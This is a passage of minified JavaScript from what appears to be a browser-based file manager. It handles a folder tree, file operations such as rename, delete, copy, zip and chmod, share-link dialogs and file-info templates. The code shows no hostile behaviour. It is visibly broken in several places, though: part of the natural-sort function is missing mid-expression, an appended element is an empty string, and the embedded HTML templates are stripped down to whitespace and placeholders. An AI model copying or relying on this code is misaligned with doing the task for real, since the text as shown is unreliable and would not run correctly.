e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)}})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\"],i=function(e){var i=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1};return i(e,t)?(Tips.tips(LNG.pathDisable+":/ \\",!1),!1):!0},a=function(e){for(var t=[],i=function(e){return e.replace(/"/g,'\\\\"')},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"list="+jsonEncode(t)},n=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)a;a++)if(e.charAt(a)!=t.charAt(a)||isNaN(parseInt(e.charAt(a)))){e=e.substr(a),t=t.substr(a);break}var o=/(-?[0-9\.]+)/g,s=(""+e).toLowerCase()||"",r=(""+t).toLowerCase()||"",l=String.fromCharCode(0),c=s.replace(o,l+"$1"+l).split(l),d=r.replace(o,l+"$1"+l).split(l),p=new Date(s).getTime(),u=p?new Date(r).getTime():null;if(u){if(u>p)return-1;if(p>u)return 1}for(var f=0,h=Math.max(c.length,d.length);h>f;f++)if(oFxNcL=parseFloat(c[f])||c[f],oFyNcL=parseFloat(d[f])||d[f],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var m=n(oFxNcL,oFyNcL);if(0!=m)return m}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},s=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},r=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof t&&(Tips.close(e),t(e.info))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t,a){return e&&t&&e!=t?i(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof a&&a(e.info)}}),void 0):("function"==typeof a&&a(),void 0):void 0},c=function(e,t,i){if(!(1>e.length)){var n=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=a(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",n=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",n=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}n==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:n,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},d=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},p=function(e){var t=e.path,i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),u(e.data);else{G.self_share=e.info;var a={path:t,type:i,name:core.pathThis(t)};f(a,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(i),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},u=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){h(t),void 0!=i&&i()})},f=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},h=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden"); -else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){c([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),f(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},m=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,t,i,a,n){if(!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},v=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},g=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},b=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},y=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var n="info";1==t.length&&(n="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(a(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var a="path_info_more",o=LNG.info;1==t.length&&(a="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[a]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(n),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var n=i.find(".file_md5_loading");if(1==n.length){var t=a(t);t+="&get_md5=1",core.fileInfo(t,function(e){n.removeClass("file_md5_loading"),e.code?n.html(e.data.file_md5):n.html(LNG.error)})}var o=i.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var t=s.createTextRange();t.moveEnd("character",-s.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else s.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:a(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},k=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},w=function(e,t){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},L=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},N=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},C=function(e,t,i,n){t&&(void 0==n&&(n=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},z=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}z(n)},P=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:o,appEdit:D,appList:P,appAddURL:A,share:p,shareBox:u,setBackground:m,createLink:_,createProject:v,newFile:s,newFolder:r,rname:l,unZip:L,zipDownload:k,zip:w,copy:d,cute:g,info:y,remove:c,cuteDrag:N,copyDrag:C,past:b,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n\n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t=core.pathExt(e),"swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return d(a,t),void 0}return"pdf"==t?(core.fileLink(e,function(i){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(i);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:i}).embed(n)}}),void 0):inArray(core.filetype.doc,t)?(l(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var t=jsonDecode(e);t.name=core.pathThis(n),core.openApp(t)})}else 